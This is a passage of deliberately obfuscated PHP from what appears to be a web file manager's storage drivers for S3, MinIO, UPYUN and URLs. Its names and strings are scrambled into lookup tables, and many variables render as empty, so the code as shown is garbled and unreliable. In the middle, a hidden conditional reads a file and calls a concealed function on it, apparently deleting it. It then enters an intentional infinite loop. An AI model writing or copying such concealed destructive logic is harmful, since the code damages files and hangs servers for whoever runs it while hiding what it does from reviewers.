array($ǃҌ[241], $ǃҌ[242], $ǃҌ[243])) ? !0 : !1; } public function canWrite($΀) { $֍ =& $_SERVER[ׇ]; $ = $this->client->getAccessControlPolicy($this->bucket, $΀); if (!$) { return !1; } return in_array($, array($֍[241], $֍[242])) ? !0 : !1; } public function getContent($ýЀ) { return $this->client->getObject($this->bucket, $ýЀ); } public function setContent($, $ъ = '', $ = false) { $ =& $_SERVER[ׇ]; $ = $ ? trim($, $[8]) . $[8] : $; $젋 = get_file_mime(get_path_ext($)); $鳢 = $this->client->putObject($ъ, $this->bucket, $, $[229], array(), $젋); if (!$鳢) { return !1; } if ($) { return !0; } return $鳢 ? !0 : !1; } public function fileSubstr($Ӂ, $, $ʋ) { $̷ = $ + $ʋ - 1; return $this->client->getObject($this->bucket, $Ӂ, array($_SERVER[ׇ][244] => "\x62\171\x74\x65\x73\x3d{$}\55{$̷}")); } public function upload($ꣽ, $, $Ñ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[ׇ]; $Ɩ = array($[245] => @md5_file($)); $× = array($[246] => get_file_mime(get_path_ext($ꣽ))); if (IO::size($) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($, $this->bucket, $ꣽ, $[229], $Ɩ, $×); return !empty($) ? $this->getPathOuter($ꣽ) : !1; } $²¡ = $this->client->multiUploadObject($, $this->bucket, trim($ꣽ, $[8]), $Ɩ, $×); return $²¡ ? $this->getPathOuter($ꣽ) : !1; } public function download($, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $۸ = $this->client->getObject($this->bucket, $, array(), $); return $۸ !== !1 ? $ : !1; } public function link($, $斴 = array()) { $ߡ =& $_SERVER[ׇ]; if ($this->signVer == $ߡ[247]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $斴); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $ߡ[8]), 3600 * 12, $this->region, array(), !0, $斴); } public function fileOut($ҙ̃, $Ր = false, $ļ = false, $Ȅؽ = '') { $䡧 =& $_SERVER[ׇ]; if ($this->isFileOutServer()) { return $this->fileOutServer($ҙ̃, $Ր, $ļ, $Ȅؽ); } if (!$ļ) { $ļ = $this->pathThis($ҙ̃); } $ܿ = get_file_mime(get_path_ext($ļ)); if ($ܿ == $䡧[248]) { return parent::fileOut($ҙ̃, $Ր, $ļ, $Ȅؽ); } $ = array($䡧[249] => $ܿ); if ($Ր) { $[$䡧[250]] = $䡧[251] . rawurlencode($ļ); } else { } $ = $this->link($ҙ̃, $); $this->fileOutLink($); } public function fileOutServer($̀, $ݦ = false, $ޝ = false, $ = '') { parent::fileOut($̀, $ݦ, $ޝ, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($, $犆 = '') { $ú = $this->objectMeta($); if (!$ú) { return !1; } $犆 = $犆 ? $犆 : _get($ú, $_SERVER[ׇ][252]); return $犆; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[ׇ]; $ = $this->pathFather($); $ۙ = $this->client->getHttpUploadPostParams($this->bucket, $, $[229], $); return array_merge((array) $ۙ, array($[208] => $this->getHost())); } public function multiUploadFormData($, $Τ = 3600) { $ =& $_SERVER[ׇ]; $ = gmdate($[253]); $؊ = array(); $ = $this->client->getUploadId($this->bucket, $, $؊); if (!$) { return !1; } return array($[254] => $, $[208] => $this->getHost() . $[8] . $this->pathEncode($), $[255] => $, $[97] => $); } public function multiUploadAuthData($, $ɣ = array()) { $҄ =& $_SERVER[ׇ]; $ܴ = isset($ɣ[$҄[255]]) ? $ɣ[$҄[255]] : gmdate($҄[253]); $ҷ = isset($ɣ[$҄[169]]) ? $ɣ[$҄[169]] : $҄[12]; $հ = $ɣ[$҄[97]]; unset($ɣ[$҄[97]]); if (isset($ɣ[$҄[256]])) { $ɣ[$҄[255]] = $ܴ; return $this->listUploadParts($հ, $ɣ); } $δ = array($҄[257], $҄[12], $҄[123], $҄[12], "\x78\x2d\141\155\172\55\144\141\164\x65\72{$ܴ}", $҄[8] . $this->bucket . $҄[8] . $this->pathEncode($հ) . $ҷ); if (strpos($ҷ, $҄[258]) === 0) { $δ[0] = $҄[259]; } if (isset($ɣ[$҄[260]]) && $ɣ[$҄[260]] == $҄[261]) { $δ[0] = $҄[261]; } $ = implode($҄[262], $δ); $څ = base64_encode(hash_hmac($҄[263], $, $this->secret, !0)); $򻀩 = $҄[264] . $this->accessKey . $҄[4] . $څ; if (strpos($ҷ, $҄[258]) === 0) { return array($҄[265] => $򻀩, $҄[255] => $ܴ); } return $򻀩; } public function listUploadParts($т⯕, $ = array()) { $ =& $_SERVER[ׇ]; $ = str_replace($[266], $[12], $[$[169]]); $ě = $this->client->listParts($this->bucket, $т⯕, $); if (!$ě) { return !1; } unset($[$[256]], $[$[260]]); $[$[97]] = $т⯕; $ = $this->multiUploadAuthData($т⯕, $); if (empty($)) { return !1; } return array($[265] => $, $[255] => $[$[255]], $[267] => $ě); } public function getHost() { $ =& $_SERVER[ׇ]; $Ι = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($[70], $[64], $[69], $[62]))) { return $Ι . $[8] . $this->bucket; } $Ι = explode($[210], $Ι); return $Ι[0] . $[210] . $this->bucket . $[10] . $Ι[1]; } public function size($ޒ) { $󗙯 = $this->objectMeta($ޒ); return $󗙯 ? $󗙯[$_SERVER[ׇ][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($Ϟذ) { return $this->isFile($Ϟذ) || $this->isFolder($Ϟذ); } public function isFile($ο) { return !$this->isFolder($ο) && $this->objectMeta($ο); } public function isFolder($) { return $this->cacheMethod($_SERVER[ׇ][179], $); } protected function objectMeta($ʳ) { return $this->cacheMethod($_SERVER[ׇ][181], $ʳ); } protected function _objectMeta($Ӵ) { $͇߯ =& $_SERVER[ׇ]; $Ӵ = rtrim($Ӵ, $͇߯[8]); try { $ = $this->client->getObjectInfo($this->bucket, $Ӵ); if (!isset($[$͇߯[252]]) && isset($[$͇߯[268]])) { $[$͇߯[252]] = $[$͇߯[268]]; } } catch (Exception $҆) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ =& $_SERVER[ׇ]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[236]])) { return !1; } $ٯ = $[$[236]][0][$[32]]; return stripos($ٯ, $ . $[8]) === 0 ? !0 : !1; if (substr($ٯ, -1) == $[8]) { return !0; } if (get_path_this($ٯ) == get_path_this($)) { return !1; } return !0; } public function listObject($䤯) { return $this->fileList($䤯, $_SERVER[ׇ][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Ð) { $ =& $_SERVER[ׇ]; parent::__construct($Ð); $this->setSignVersion($[247]); if (!$this->region) { $this->region = $[269]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $־ = $this->getBucketRgn(); return $this->region == $־ ? !0 : !1; } public function uploadFormData($ę, $ = 3600) { $ =& $_SERVER[ׇ]; $ = $[229]; $ּ = $[270]; $ư = $[62]; $ң = gmdate($[271]); $ؖކ = gmdate($[272]); $̠ = $[273]; $쬾 = $ . $[12]; $ = $[274]; $Ν = array($this->accessKey, $ؖކ, $this->region, $ư, $̠); $軶þ = implode($[8], $Ν); $ = array($[275] => gmdate($[276], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), array($[280] => $), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $[284], $[12]), array($[285] => $), array($[286] => $軶þ), array($[287] => $ּ), array($[288] => $ң), array($[289] => $쬾))); $êɛ = base64_encode(json_encode($)); $ = hash_hmac($[290], $ؖކ, $[291] . $this->secret, !0); $ = hash_hmac($[290], $this->region, $, !0); $ = hash_hmac($[290], $ư, $, !0); $ = hash_hmac($[290], $̠, $, !0); $ = hash_hmac($[290], $êɛ, $); $ՇѾ = array($[246] => $[12], $[292] => $[12], $[280] => $, $[285] => $, $[293] => $êɛ, $[294] => $軶þ, $[295] => $ּ, $[296] => $ң, $[297] => $쬾, $[298] => $, $[208] => $this->getHost()); return $ՇѾ; } } goto eܼ; Bñš: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\x74\160\72\57\x2f\x76\x30\56\x61\160\x69\56\x75\160\x79\165\x6e\56\143\157\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($ռ) { parent::__construct(); $this->_init($ռ); } public function _init($Å) { $ڝ =& $_SERVER[ׇ]; foreach ($Å as $ۨ => $) { if (isset($this->{$ۨ})) { $this->{$ۨ} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ڝ[1545] . LNG($ڝ[1464])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ω, $İ = "\107\x45\124") { $̞ =& $_SERVER[ׇ]; $ = gmdate($̞[1493]); $ = base64_encode(hash_hmac($̞[1546], "{$İ}\x26{$ω}\46{$}", md5("{$this->userpass}"), !0)); $Ъ = array("\x41\165\164\x68\x6f\x72\151\172\141\x74\151\x6f\x6e\x3a\x55\x50\x59\125\x4e\40{$this->username}\72{$}", "\x44\141\x74\145\72{$}"); return $Ъ; } public function ussRequest($跋, $ = "\x47\x45\x54", $Ā = false, $𱋛 = false, $ʓΤ = false) { $ =& $_SERVER[ׇ]; $跋 = trim($跋, $[8]); $Ҽ = "\x2f{$this->bucket}\57{$跋}"; $୴ = $this->ussHeaders($Ҽ, $); if ($𱋛) { $୴ = array_merge($୴, $𱋛); } $ = url_request($this->endpoint . $Ҽ, $, $Ā, $୴, $ʓΤ); if (!$) { $ё = LNG($[1547]); $this->writeLog($ё); return array($[1297] => !1, $[1287] => $ё); } if (strtolower($) == $[227] || in_array($[$[1297]], array($[274], $[1548]))) { $Ā = $[$[1549]]; } else { $Ā = json_decode($[$[1287]], !0); if (!$Ā) { $Ā = $[$[1287]]; } else { if (!$[$[823]] && isset($Ā[$[1550]])) { $Ā = $Ā[$[1550]]; } } } if (!$[$[823]]) { $this->writeLog($this->__errorMessage($Ā)); } return array($[1297] => $[$[823]], $[1287] => $Ā); } private function __errorMessage($ٜ۴) { $̀ڟ =& $_SERVER[ׇ]; if (!$ٜ۴) { return $̀ڟ[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $̀ڟ[1503]) { return $ٜ۴; } $ؤ = array($̀ڟ[1551] => $̀ڟ[1552], $̀ڟ[1553] => $̀ڟ[1554], $̀ڟ[1555] => $̀ڟ[1554], $̀ڟ[1556] => $̀ڟ[1557], $̀ڟ[1558] => $̀ڟ[1559], $̀ڟ[1560] => $̀ڟ[1561], $̀ڟ[1562] => $̀ڟ[1563]); return isset($ؤ[$ٜ۴]) ? $ؤ[$ٜ۴] : $ٜ۴; } public function mkfile($, $ = '', $æ֏ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ݻ = REPEAT_SKIP) { $ =& $_SERVER[ׇ]; $̟ = trim($, $[8]); if ($this->_isFolder($̟)) { return $this->getPathOuter($̟); } $ = array($[1564]); $ = $this->ussRequest($̟, $[257], !1, $); return $[$[1297]] ? $this->getPathOuter($̟) : !1; } public function copyFile($Ƒ, $Щ͖) { $誘 =& $_SERVER[ׇ]; $߲ӆ = array($誘[1565] . "\57{$this->bucket}\57{$Ƒ}", $誘[1566]); $ = $this->ussRequest($Щ͖, $誘[259], !1, $߲ӆ); return $[$誘[1297]] ? !0 : $this->getPathOuter($Щ͖); } public function moveFile($ޗ, $) { $̎ =& $_SERVER[ׇ]; $ = array($̎[1567] . "\x2f{$this->bucket}\57{$ޗ}", $̎[1566]); $ = $this->ussRequest($, $̎[259], !1, $); return $[$̎[1297]] ? !0 : $this->getPathOuter($); } public function delFile($ߗ) { $蓗 =& $_SERVER[ׇ]; $ɔ = $this->ussRequest($ߗ, $蓗[1568]); return $ɔ[$蓗[1297]] ? !0 : !1; } public function delFolder($) { $ُ¯ =& $_SERVER[ׇ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ڑ = $ = array(); $this->fileList($, $ڑ, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$ُ¯[32]], $ُ¯[1568]); if (!$[$ُ¯[1297]]) { return !1; } } foreach ($ڑ as $Ɨ) { $ = $this->ussRequest($Ɨ, $ُ¯[1568]); if (!$[$ُ¯[1297]]) { return !1; } } $ = $this->ussRequest($, $ُ¯[1568]); return $[$ُ¯[1297]]; } public function rename($, $) { if ($this->isFile($)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public function fileInfo($ˤɴ, $ﺠӉ = false, $ި = array()) { $Ʃն =& $_SERVER[ׇ]; $הŽ = array($Ʃն[32] => $this->pathThis($ˤɴ), $Ʃն[87] => $this->getPathOuter($Ʃն[8] . $ˤɴ), $Ʃն[33] => $Ʃն[230], $Ʃն[79] => isset($ި[$Ʃն[79]]) ? $ި[$Ʃն[79]] : 0, $Ʃն[169] => $this->ext($ˤɴ)); if ($ﺠӉ) { return $הŽ; } $הŽ[$Ʃն[231]] = $הŽ[$Ʃն[88]] = 0; $הŽ[$Ʃն[232]] = $הŽ[$Ʃն[233]] = !0; if (empty($ި)) { $ި = $this->objectMeta($ˤɴ); if (!$ި) { return $הŽ; } } $הŽ[$Ʃն[231]] = intval($ި[$Ʃն[1569]]); $הŽ[$Ʃն[88]] = intval($ި[$Ʃն[1570]]); $הŽ[$Ʃն[79]] = $ި[$Ʃն[79]]; return $הŽ; } public function folderInfo($ǚ, $ = false) { $Ϫ =& $_SERVER[ׇ]; $ = array($Ϫ[32] => $this->pathThis($ǚ), $Ϫ[87] => $this->getPathOuter($Ϫ[8] . $ǚ), $Ϫ[33] => $Ϫ[78]); if ($) { return $; } $[$Ϫ[231]] = $[$Ϫ[88]] = 0; $[$Ϫ[232]] = $[$Ϫ[233]] = !0; if (empty($ۃ)) { $ۃ = $this->objectMeta($ǚ); if (!$ۃ) { return $; } } $[$Ϫ[231]] = intval($ۃ[$Ϫ[1569]]); $[$Ϫ[88]] = intval($ۃ[$Ϫ[1570]]); return $; } private function listObjs($, $ = 0, $˚ = 1000) { $ʀ =& $_SERVER[ׇ]; $ђ = array($ʀ[1571], $ʀ[1572] . $˚); if ($) { $ђ[] = $ʀ[1573] . $; } $𚣻 = $this->ussRequest($, $ʀ[261], !1, $ђ); return !$𚣻[$ʀ[1297]] ? !1 : $𚣻[$ʀ[1287]]; } private function fileList($Ձ, &$ւ, &$듭, $٢Ϡ = false) { $┣ =& $_SERVER[ׇ]; $ = $┣[12]; $ = 1000; $ØⅮ = rtrim($Ձ, $┣[8]) . $┣[8]; while (!0) { check_abort(); $۷ = $this->listObjs($Ձ, $, $); if (!$۷) { return !1; } $ = isset($۷[$┣[1574]]) ? $۷[$┣[1574]] : $┣[12]; $Ӵ = isset($۷[$┣[1575]]) ? $۷[$┣[1575]] : array(); foreach ($Ӵ as $) { $կⲚ = $[$┣[33]] == $┣[78] ? !0 : !1; $ƌ = ltrim($ØⅮ . $[$┣[32]], $┣[8]) . ($կⲚ ? $┣[8] : $┣[12]); $򭅾 = array($┣[32] => $ƌ, $┣[33] => $կⲚ ? $┣[78] : $┣[230], $┣[79] => $[$┣[413]], $┣[1570] => $[$┣[1576]]); $this->cacheMethodInfoSet($ƌ, $կⲚ, $򭅾); if ($կⲚ) { $ւ[] = $ƌ; if ($٢Ϡ) { $this->fileList($ƌ, $ւ, $듭, $٢Ϡ); } continue; } $듭[] = $򭅾; } if (count($Ӵ) < $) { break; } } $this->cacheMethodInfoSet($Ձ, !0); } public function listPath($Ϯ, $Ֆ = false) { $Գ =& $_SERVER[ׇ]; $ = $㫿 = array(); $this->fileList($Ϯ, $, $㫿); foreach ($ as $ǚ => $) { $[$ǚ] = $this->folderInfo($, $Ֆ); } foreach ($㫿 as $ǚ => $) { $㫿[$ǚ] = $this->fileInfo($[$Գ[32]], $Ֆ, $); } return array($Գ[85] => $, $Գ[86] => $㫿); } public function has($Ί, $З = false, $ = true) { $ɝ =& $_SERVER[ׇ]; $Ì = $ɝ[12]; $ = 500; $ۇ = 0; $ = 0; $Ƴ = rtrim($Ί, $ɝ[8]) . $ɝ[8]; while (!0) { check_abort(); $ϯ颧 = $this->listObjs($Ί, $Ì, $); if (!$ϯ颧) { return !1; } $Ì = isset($ϯ颧[$ɝ[1574]]) ? $ϯ颧[$ɝ[1574]] : $ɝ[12]; $˷ = isset($ϯ颧[$ɝ[1575]]) ? $ϯ颧[$ɝ[1575]] : array(); if (empty($˷)) { break; } $ˬ = array_filter($˷, function ($) { $ =& $_SERVER[ׇ]; return $[$[33]] == $[78]; }); $ = count($˷); $ˬ = count($ˬ); $ǽ = $ - $ˬ; if ($З) { $ += $ˬ; $ۇ += $ǽ; if ($ < $) { break; } continue; } if ($) { if ($ǽ) { return !0; } } else { if ($ˬ) { return !0; } } if ($ < $) { break; } } if ($З) { return array($ɝ[239] => $ۇ, $ɝ[240] => $); } return !1; } public function listAll($Ę) { $ =& $_SERVER[ׇ]; $ = $ = array(); $this->fileList($Ę, $, $, !0); $ފ = array_to_keyvalue($, $[32]); foreach ($ as $ә) { if (is_string($ә)) { $ފ[$ә] = array($[79] => 0); } } return $this->listAllFiles($Ę, $ފ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($܅) { return $this->exist($܅) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($׮, $ڶظ = '') { $ =& $_SERVER[ׇ]; if (!$ڶظ) { $ވ = $this->ussRequest($׮, $[257]); return $ވ[$[1297]]; } $ = $this->tempFile($this->pathThis($׮)); file_put_contents($, $ڶظ); if ($this->upload($׮, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $״, $ӵՇ) { $ʈ =& $_SERVER[ׇ]; if (!($ = $this->link($))) { return !1; } $ض۞ = !1; if ($ӵՇ > 0) { $ے = $״ + $ӵՇ - 1; $ض۞ = array($ʈ[1535] . $״ . $ʈ[462] . $ے); } $ֆ = url_request($, $ʈ[261], !1, $ض۞); return $ֆ[$ʈ[823]] ? $ֆ[$ʈ[1287]] : !1; } public function upload($䓣, $, $ = false, $ = REPEAT_REPLACE) { $ږ =& $_SERVER[ׇ]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ړ = array($ږ[1577] . $); $ = $this->ussRequest($䓣, $ږ[259], $ړ); return $[$ږ[1297]] ? $this->getPathOuter($䓣) : !1; } $ = 1024 * 1024 * 10; $޽ = array($ږ[1578], $ږ[1579] . $, $ږ[1580], $ږ[1581] . $); $ = $this->ussRequest($䓣, $ږ[259], !1, $޽); if (!$[$ږ[1297]]) { return !1; } $ = $[$ږ[1287]]; $柬 = 0; $΍ = $[$ږ[1582]]; $脧 = fopen($, $ږ[1458]); if (!$脧) { return !1; } do { $ɏ = $[$ږ[1583]]; fseek_64($脧, $柬); $­ = fread($脧, $ɏ); $񧗏 = 0; do { $񧗏++; $ = $this->uploadPart($䓣, $, $­); } while (!$ && $񧗏 < 3); if (!$) { return !1; } $΍ = $[$ږ[1582]]; $柬 += $ɏ; } while ($΍ != -1); fclose($脧); $޽ = array($ږ[1584], $ږ[1585] . $[$ږ[1586]], $ږ[1580]); $ = $this->ussRequest($䓣, $ږ[259], !1, $޽); return $[$ږ[1297]] ? $this->getPathOuter($դ) : !1; } private function uploadPart($ӗ, $, &$̏ǀ) { $ =& $_SERVER[ׇ]; $˹ = array($[1587], $[1585] . $[$[1586]], $[1588] . $[$[1582]], $[146] . $[$[1583]]); $џ = $this->ussRequest($ӗ, $[259], $̏ǀ, $˹); return !$џ[$[1297]] ? $џ[$[1297]] : $џ[$[1287]]; } public function uploadFormData($ݷ, $欑 = 3600) { return $this->uploadPolicy($ݷ, $欑); } public function multiUploadFormData($є, $ = 3600) { $ =& $_SERVER[ׇ]; $ە = (int) $GLOBALS[$[7]][$[79]]; return $this->uploadPolicy($є, $, $ە); } private function uploadPolicy($ّ, $˜ = 3600, $ݘƚ = 0) { $Ą =& $_SERVER[ׇ]; $ڛϘ = $Ą[8] . $this->bucket; $֙ = gmdate($Ą[1493]); $ō = array($Ą[1589] => $this->bucket, $Ą[1590] => $ّ, $Ą[1591] => time() + $˜, $Ą[1592] => $֙); if ($ݘƚ) { $ō[$Ą[1478]] = $ݘƚ; } $ = base64_encode(json_encode($ō)); $ڪ = base64_encode(hash_hmac($Ą[1546], "\x50\117\123\x54\x26{$ڛϘ}\46{$֙}\46{$}", md5("{$this->userpass}"), !0)); $ = array($Ą[293] => $, $Ą[1593] => "\125\x50\x59\125\x4e\40{$this->username}\x3a{$ڪ}", $Ą[208] => $this->endpoint . $ڛϘ); return $; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ۣ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[ׇ][1541]); while (!0) { $ = $this->fileSubstr($, $ۣ, $); if ($ === !1) { return !1; } fwrite($, $); $ۣ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $Χ = array()) { $˴ =& $_SERVER[ׇ]; $ = trim($, $˴[8]); if (!empty($this->token)) { $Ń = strtotime(date($˴[1594])); $ɹ = substr(md5($this->token . $˴[360] . $Ń . $˴[1595] . $), 12, 8) . $Ń; $Χ[] = $˴[1596] . $ɹ; } $ = !empty($Χ) ? $˴[76] . implode($˴[360], $Χ) : $˴[12]; return $this->getHost() . $˴[8] . $ . $; } public function fileOut($, $ݝ = false, $ԋ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $ݝ, $ԋ, $); } if (!$ԋ) { $ԋ = $this->pathThis($); } $ȳ = $ݝ ? array($_SERVER[ׇ][1597] . rawurlencode($ԋ)) : array(); $ = $this->link($, $ȳ); $this->fileOutLink($); } public function fileOutServer($¬, $ = false, $ԕ = false, $궎̲ = '') { parent::fileOut($¬, $, $ԕ, $궎̲); } public function fileOutImage($ͩ, $ہѣլ = 250) { $ܔ = $this->link($ͩ . $_SERVER[ׇ][1598] . $ہѣլ); $this->fileOutLink($ܔ); } public function fileOutImageServer($ڽ, $ = 250) { parent::fileOutImage($ڽ, $); } public function hashMd5($ڔ) { $˯ =& $_SERVER[ׇ]; $ = $this->_objectMeta($ڔ); return isset($[$˯[245]]) ? $[$˯[245]] : !1; } public function size($) { $ł = $this->objectMeta($); return $ł ? $ł[$_SERVER[ׇ][79]] : 0; } public function info($ͭ) { if ($this->isFolder($ͭ)) { return $this->folderInfo($ͭ); } else { if ($this->isFile($ͭ)) { return $this->fileInfo($ͭ); } } return !1; } public function exist($ٲ) { return $this->isFile($ٲ) || $this->isFolder($ٲ); } public function isFile($ƻ) { return !$this->isFolder($ƻ) && $this->objectMeta($ƻ); } public function isFolder($Ȋ) { return $this->cacheMethod($_SERVER[ׇ][179], $Ȋ); } protected function objectMeta($ʠĖ) { return $this->cacheMethod($_SERVER[ׇ][181], $ʠĖ); } protected function _objectMeta($׼) { $ =& $_SERVER[ׇ]; if ($׼ == $[12] || $׼ == $[8]) { return array(); } $ = $this->ussRequest($׼, $[1599]); if (!$[$[1297]]) { return null; } $Ѯ = isset($[$[1287]]) ? $[$[1287]] : array(); if (!isset($Ѯ[$[1600]])) { return null; } $ = array($[33] => isset($Ѯ[$[1600]]) ? $Ѯ[$[1600]] : null, $[79] => isset($Ѯ[$[1601]]) ? $Ѯ[$[1601]] : null, $[245] => isset($Ѯ[$[1602]]) ? $Ѯ[$[1602]] : null, $[1569] => isset($Ѯ[$[1603]]) ? $Ѯ[$[1603]] : null); $[$[1570]] = isset($Ѯ[$[1604]]) ? strtotime($Ѯ[$[1604]]) : $[$[1569]]; return $; } protected function _isFolder($ي) { $갞 =& $_SERVER[ׇ]; if ($ي == $갞[12] || $ي == $갞[8]) { return !0; } $ = $this->_objectMeta($ي); return isset($[$갞[33]]) && $[$갞[33]] == $갞[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($Ƀ = false) { } public function exist($ڢ) { $ = $this->info($ڢ); return $[$_SERVER[ׇ][232]]; } public function isFile($ס) { $ݐ = $this->info($ס); return $ݐ[$_SERVER[ׇ][232]]; } public function isFolder($ܓſ) { return !1; } public function size($󬂤) { $𶌖 = $this->info($󬂤); return $𶌖[$_SERVER[ׇ][79]]; } public function info($Ļ) { return $this->infoParse($Ļ); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($쪓) { return $this->infoParse($쪓); } private function infoParse($) { $Ɵ =& $_SERVER[ׇ]; $’ = $this->header($); if (!$’ || !$’[$Ɵ[823]]) { return !1; } $ǯ = _get($’, $Ɵ[413], 0); $ = array($Ɵ[32] => $’[$Ɵ[32]], $Ɵ[87] => $, $Ɵ[33] => $Ɵ[230], $Ɵ[79] => intval($ǯ), $Ɵ[169] => get_path_ext($’[$Ɵ[32]]), $Ɵ[1455] => $ǯ > 0 && $’[$Ɵ[1605]], $Ɵ[1456] => !1); return $; } private function header($꫉췰) { $ =& $_SERVER[ׇ]; if (isset(self::$_cacheHeader[$꫉췰])) { return self::$_cacheHeader[$꫉췰]; } $ = isset($GLOBALS[$[1606]]) ? $GLOBALS[$[1606]] : !1; $GLOBALS[$[1606]] = !0; self::$_cacheHeader[$꫉췰] = url_header($꫉췰); $GLOBALS[$[1606]] = $; return self::$_cacheHeader[$꫉췰]; } public function hashSimple($ӓ, $ = false) { $ҝ =& $_SERVER[ׇ]; $ = $this->info($ӓ); if (!$ || !$[$ҝ[232]]) { return !1; } $졗 = $[$ҝ[79]]; $؜ = 200; $֙ = 50; if ($졗 <= $؜ * $֙) { return md5($this->fileSubstr($ӓ, 0, $졗)) . $졗; } $ԉܫ = intval($졗 / $֙); $ɐ = $ҝ[12]; $Ϫ = timeFloat(); $ = 15; for ($ = 0; $ < $֙; $++) { if (timeFloat() - $Ϫ > $) { return !1; } $ = $this->fileSubstr($ӓ, $ԉܫ * $, $؜); if (!$) { return !1; } $ɐ .= $; } $ɐ .= $this->fileSubstr($ӓ, $졗 - $؜, $؜); return md5($ɐ) . $졗; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ϫ = 0, $ = -1) { $ =& $_SERVER[ׇ]; $󎺙 = $this->info($); if (!$󎺙 || !$󎺙[$[232]] && $󎺙[$[79]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $󎺙[$[79]]; } if ($ == 0) { return $[12]; } $ܚ = array($[1607] . $ϫ . $[858] . ($ϫ + $ - 1)); $ଚ = url_request($, $[261], !1, $ܚ, !1, !1, 30); return $ଚ[$[1287]] ? $ଚ[$[1287]] : $[12]; } public function download($ʌښ, $) { Downloader::start($ʌښ, $); return $; } } if (!isset($_SERVER[$_SERVER[ׇ][952]]) || !isset($_SERVER[$_SERVER[ׇ][1418]])) { $_getc = $_SERVER[ׇ][954]; $_getfile = $_SERVER[$_SERVER[ׇ][949]] . $_SERVER[ׇ][950]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ׇ][262], $_getfilec); if (count($_getarrs) < $_SERVER[ׇ][690]) { $exit = $_SERVER[ׇ][955]; $exit(); } $_act = $_SERVER[ׇ][1419]; $_act($_SERVER[$_SERVER[ׇ][949]] . $_SERVER[ׇ][950]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ׇ][454]); } } goto dւ؍; E: class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $凱 =& $_SERVER[ׇ]; parent::startAfter(); Hook::bind($凱[1885], array($this, $凱[1886])); Hook::bind($凱[1278], array($this, $凱[1887])); Hook::bind($凱[1888], array($this, $凱[1889])); $ =& $this->task; $[$凱[1890]] = $凱[1279]; if (!$[$凱[1661]]) { $[$凱[1661]] = LNG($凱[1891]); } } protected function endAfter() { $ =& $_SERVER[ׇ]; parent::endAfter(); Hook::unbind($[1885], array($this, $[1886])); Hook::unbind($[1278], array($this, $[1887])); Hook::unbind($[1888], array($this, $[1889])); } public function updateAfter() { $ȑ =& $_SERVER[ׇ]; $ =& $this->task; if (!$[$ȑ[1141]] || !$[$ȑ[836]]) { if ($[$ȑ[1890]] != $ȑ[389]) { return; } } if ($[$ȑ[1890]] == $ȑ[1279]) { $ϗ = 0; if ($[$ȑ[1825]]) { $ϗ = $[$ȑ[1826]] / $[$ȑ[1825]]; } $[$ȑ[1774]] = $ϗ * 0.3; } else { if ($[$ȑ[1890]] == $ȑ[389]) { $ϗ = $[$ȑ[1773]] / $[$ȑ[1141]]; $[$ȑ[1774]] = 0.3 + $ϗ * 0.4; } else { if ($[$ȑ[1890]] == $ȑ[110]) { $ƌ = 0; if ($[$ȑ[1827]] == $ȑ[110]) { $ƌ = $[$ȑ[1826]]; } $ϗ = ($[$ȑ[1830]] + $ƌ) / $[$ȑ[836]]; $[$ȑ[1774]] = 0.3 + 0.4 + $ϗ * 0.3; } } } if ($[$ȑ[1774]] > 0) { $͌¶ = timeFloat() - $[$ȑ[1776]] - $[$ȑ[1779]]; $[$ȑ[1780]] = $͌¶ * (1 - $[$ȑ[1774]]) / $[$ȑ[1774]]; } } public function addFile($树) { $٧ =& $_SERVER[ׇ]; $傺 =& $this->task; $ = IO::info($树); $傺[$٧[1823]] = $[$٧[32]]; $傺[$٧[1825]] 